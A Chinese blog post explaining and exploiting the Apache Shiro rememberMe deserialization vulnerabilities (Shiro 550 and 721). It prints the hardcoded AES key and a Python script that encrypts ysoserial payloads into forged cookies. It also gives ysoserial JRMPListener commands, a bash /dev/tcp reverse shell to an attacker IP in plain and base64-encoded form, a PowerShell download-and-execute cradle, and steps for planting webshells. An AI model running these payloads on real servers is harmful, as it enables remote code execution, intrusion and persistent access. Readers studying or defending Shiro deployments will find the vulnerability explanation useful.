0x01前言
之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框架的反序列化漏洞
当时没想继续说的,但是因为最近正好遇到了,就再来说说关于Apache shiro Java反序列化漏洞的一点思考(本文特指shiro rememberMe 硬编码密钥反序列化漏洞即shiro 550,不是Shiro Padding Oracle Attack那个shiro 721的----------------更新:shiro 721的内容在文末补充上了,师傅们捧个场啊)
Apache shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
。。。。。。
问题不在这里,问题出在哪里?在shiro1.24及其之前(小于等于1.24)的版本中,shiro框架存在反序列化漏洞(加密的用户信息序列化后存储在名为remember‐me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令)
这是个16年的老洞了,但是由于其payload加密而且没啥攻击特征,所以放到现在仍然不过时(吧)
0x02 漏洞原理
补充上一点中所说,shiro框架有“记住我”的功能(rememberme),用户登录成功后会生成加密编码后的cookie,cookie是经过序列化,aes加密再base64编码处理后得到的,它的key值就是rememberme
所以服务端对应这个处理顺序,逆过来处理就是先获取rememberme cookie,再解码base64,再解密aes,最后反序列化
这个过程中,利用到了序列化与反序列化,但是此漏洞并不是有序列化反序列化这个过程,就能利用的,由流程可知,想要完整利用成功还需要aes密钥
诶,问题就出在这个密钥身上
众所周知,aes是一种对称加密算法,一旦密钥泄露后果不堪设想
1.2.4之前aes密钥是硬编码在代码中的,base64编码后值就是这个kPH+bIxk5D2deZiIxcaaaA==,就是它没有第二个
这不就完了吗,攻击者构造恶意对象序列化搞一波?
(另:原则上来说只要你获得了rememberme的aes密钥key,一切版本shiro都有反序列化漏洞,尽管后面的shiro版本不再采用硬编码aes密钥,但是希望那些别有用心(别看我,我不知道)去GitHub中搜集别人开源框架中top多少多少shiro密钥的人耗子尾汁,没事搜一下setCipherKey(Base64.decode看看,是不是已经泄漏了,最好不要用网上的密钥(shiro key top100:https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA),自己生成不香吗)
0x03漏洞发现
抓包,如果返回包中set-cookie中如果发现rememberMe=deleteMe,那这就是一个shiro框架妥妥的,可以有端联想,大胆假设(或者发现url中有没有什么cas)
fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"什么的,可以看到大量相关站
关于检测,网上有很多脚本工具
思路大体都是先获得密钥(通过不讲武德所搜集到的泄露的KEY不断进行匹配测试。注:shiro 1.4.2之前采用aes-CBC加密,而1.4.2之后采用aes-GCM加密,这个写脚本代码加密时需要注意,两者加密方式的区别,要想写通用的脚本就要把两种加密都写上,参考: https://xz.aliyun.com/t/8445、https://blog.csdn.net/qq_34236803/article/details/110958868)
然后借助ysoserial.jar生成payload,相应平台(ceye.io或dnslog.cn或JRMP)会收到各种请求
比较常规的一个CBC加密编码脚本(这里采用了默认key,可以视情况更换)
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
运行:python 此脚本名.py IP:端口
然后把生成的rememberMe=什么什么
一并往请求包中的cookie里一扔,发过去
执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections4 “ping 某某某.dnslog.cn”
然后赶紧跑回去看www.dnslog.cn,refresh一下,如果成功会看到显示出的IP数据
当然不一定就是我写的那个语句用CommonsCollections4,实际上具体利用链可能有不同,我只是说一下这个思路
几个脚本工具,用于检测shiro反序列化漏洞:
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/teamssix/shiro-check-rce
两款被动burpsuite插件:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/amad3u4/ShiroScanner/
当然具体有哪些gadget可用,需要自行探测,每种情况下可以利用的gadget的数量和种类都是不同的 (什么CommonsCollections1、CommonsCollections2、CommonsCollections3、CommonsCollections4、CommonsCollections8、CommonsCollections10、CommonsBeanutils1等等。。。都是可能的,有些靶场固定了gadget的类型,方便你复现,但实际上不一定)
此处推荐大佬图形化探测利用一体化工具,懒人福音:https://github.com/feihong-cs/ShiroExploit-Deprecated
有key有可用的gadget,确实存在shiro反序列化漏洞,就可以开搞了
如果目标服务器可以出网,可以尝试结合平台检测
如果目标服务器不能出网,则选择回显检测
shiro 的好基友是Tomcat,所以很多利用是结合Tomcat的,将问题转化为tomcat回显
但是。。。结合tomcat的方法问题很多,生成的payload会过大啦,受到tomcat版本限制啦。。。
可以参考:https://xz.aliyun.com/t/7535
https://www.cnblogs.com/potatsoSec/p/13060261.html
https://www.cnblogs.com/potatsoSec/p/13381019.html
https://zhuanlan.zhihu.com/p/114625962
0x04 漏洞利用
常见利用方式
1.反弹shell
Linux下:
举个例子,复现就不复现了,这辈子都不可能写复现的,很多师傅有详细过程,简单说一下流程
原理和上述ping dnslog平台的原理一样,只不过把“ping 某某某.dnslog.cn”这个操作改成反弹shell的操作
然后我一边反弹,另一边监听
(1)先在攻击机本地监听某端口(例如2333)
nc -lvp 2333
bash -i >& /dev/tcp/192.168.25.203/2333 0>&1
将上述命令base64编码后放到“编码后”处 bash -c {echo,编码后}|{base64,-d}|{bash,-i}
即:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}
(2)然后执行(假设这里采用CommonsCollections4),通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'
(3)脚本生成上文那种rememberMe=什么什么 的payload,加到cookie中发过去(注意:这次的 python 此脚本名.py IP:端口 这里的端口是6666)
(4)然后我就会在nc监听的2333端口获得目标服务器shell
windows下:
则可以通过powershell
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxxx/xxx.xx'))......
类似这种命令来联动一些CS啦、ps1啦来搞
(上传下载的方法有很多,后续有空说说这部分)
当然以上一切的前提是攻击机VPS、目标服务器网络条件允许,我能接收到此shell
2.写入webshell
可以找一个静态资源的URL ,比如网站的什么图片什么验证码什么的,往资源所在目录中写shell,或者往其他什么地方的已知的web路径写shell,然后访问webshell
再次推荐飞鸿师傅的https://github.com/feihong-cs/ShiroExploit-Deprecated
一步到位(另:不仅shiro550,shiro721也可以采用此工具利用,利用方式有所区别,具体参考开发者自述)
这个马,可以是上面这个工具生成的,也可以是用什么蚁剑、冰蝎的马替换掉工具本身的马
但是目前吧。。。文件类型的webshell已经退环境了,内存马还可一用
可以参考此文:https://localhost01.blog.csdn.net/article/details/107340698
参考文章:https://zhuanlan.zhihu.com/p/170393917
2021.3.9内容补充
-------------------------------------------------------------------------------------------------
额,做人不能半途而废,,,
翻来覆去睡不着。。。
顺便把shiro 721的内容也补一下好了
正如我前文所说( Padding Oracle Attack----POA):
1.4.2及之前的shiro版本采用了aes-CBC加密,可以结合有效的RememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击
有几个问题:
padding oracle攻击干了点啥? 它可以在没有获得key的情况下,绕过密钥key实现对密文的加解密(具体实现机制请参考:https://zhuanlan.zhihu.com/p/94970620)
那么为什么需要RememberMe cookie? 由于shiro要求先获取用户信息,获取有效用户信息之后才会进入下一阶段流程,所以需要RememberMe cookie
翻译翻译什么TMD的叫TMD把“有效的rememberMe 作为Padding Oracle攻击的。。。前缀”? 字面意思,为了不影响反序列化,把合法的rememberMe cookie做前缀,往rememberMe cookie数据后面加数据(详细参考:https://www.anquanke.com/post/id/193165)
所以,相比shiro 550 ,shiro 721 不需要知道key的值,但是需要合法用户的RememberMe cookie
服务端处理流程还是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
首先需要登录网站从有效用户的cookie中获取rememberMe字段的值
利用与检测方法参考:
https://www.cnblogs.com/backlion/p/14077791.html
https://www.cnblogs.com/xiaozi/p/13239046.html
思路大体是获得合法的rememberMe cookie,用ysoserial生成payload,然后利用padding oracle 方法攻击脚本 结合 合法的rememberMe cookie与payload 生成恶意的rememberMe cookie,然后采用这个恶意的rememberMe cookie重放攻击目标,最后在目标中 生成文件 或 有dnslog 回显IP证明漏洞存在
或者直接使用飞鸿师傅的那个工具:https://github.com/feihong-cs/ShiroExploit-Deprecated
把获得的rememberMe cookie加进去
未经允许,禁止转载